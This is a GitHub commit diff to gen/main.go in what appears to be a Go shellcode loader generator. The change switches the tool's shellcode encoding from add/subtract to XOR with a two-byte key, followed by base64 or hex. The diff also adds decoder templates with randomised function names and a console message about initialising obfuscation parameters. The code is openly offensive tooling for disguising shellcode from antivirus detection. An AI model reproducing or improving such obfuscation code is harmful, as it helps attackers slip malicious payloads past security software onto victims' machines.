Skip to content

Commit

Permalink
add
Browse files Browse the repository at this point in the history
  • Loading branch information
safe6Sec committed Sep 17, 2021
1 parent 595cbf5 commit 24ff8c2
Showing 1 changed file with 15 additions and 7 deletions.
22 changes: 15 additions & 7 deletions gen/main.go
Original file line number Diff line number Diff line change
Expand Up @@ -57,13 +57,20 @@ func $getDeCode(string2 string) []byte {
var code []byte
bydata := []byte(string2)
for i := 0; i < len(bydata); i++ {
code = append(code, bydata[i]-$keyName[0]+$keyName[1])
code = append(code, bydata[i]^$keyName[0]^$keyName[1])
}
ssb, _ := $encode$.DecodeString(string(code))
return ssb
}
`

var decodeMethod1 = `
func $getDeCode(code string) []byte {
ssb, _ := $encode$.DecodeString(string(code))
return ssb
}
`

func init() {
fmt.Println("[*]初始化混淆参数")
//初始化key
Expand Down Expand Up @@ -117,17 +124,17 @@ func getBase64EnCode(data []byte) string {
var shellcode []byte

for i := 0; i < len(bydata1); i++ {
shellcode = append(shellcode, bydata1[i]+key[0]-key[1])
shellcode = append(shellcode, bydata1[i]^key[0]^key[1])
}
return base64.StdEncoding.EncodeToString(shellcode)
}

func getHexEnCode(data []byte) string {
var shellcode []byte
for i := 0; i < len(data); i++ {
shellcode = append(shellcode, data[i]+key[0]-key[1])
}
return hex.EncodeToString(shellcode)
/* var shellcode []byte
for i := 0; i < len(data); i++ {
shellcode = append(shellcode, data[i]^key[0]^key[1])
}*/
return hex.EncodeToString(data)
}

func gen(code *string) {
Expand Down Expand Up @@ -217,6 +224,7 @@ func main() {
//根据编码生成shellcode
if encodeVal == "hex" {
shellcodeStr = getHexEnCode(sc)
decodeMethod = decodeMethod1
decodeMethod = strings.ReplaceAll(decodeMethod, "$encode$", "hex")
} else {
shellcodeStr = getBase64EnCode(sc)
Expand Down

0 comments on commit 24ff8c2

Please sign in to comment.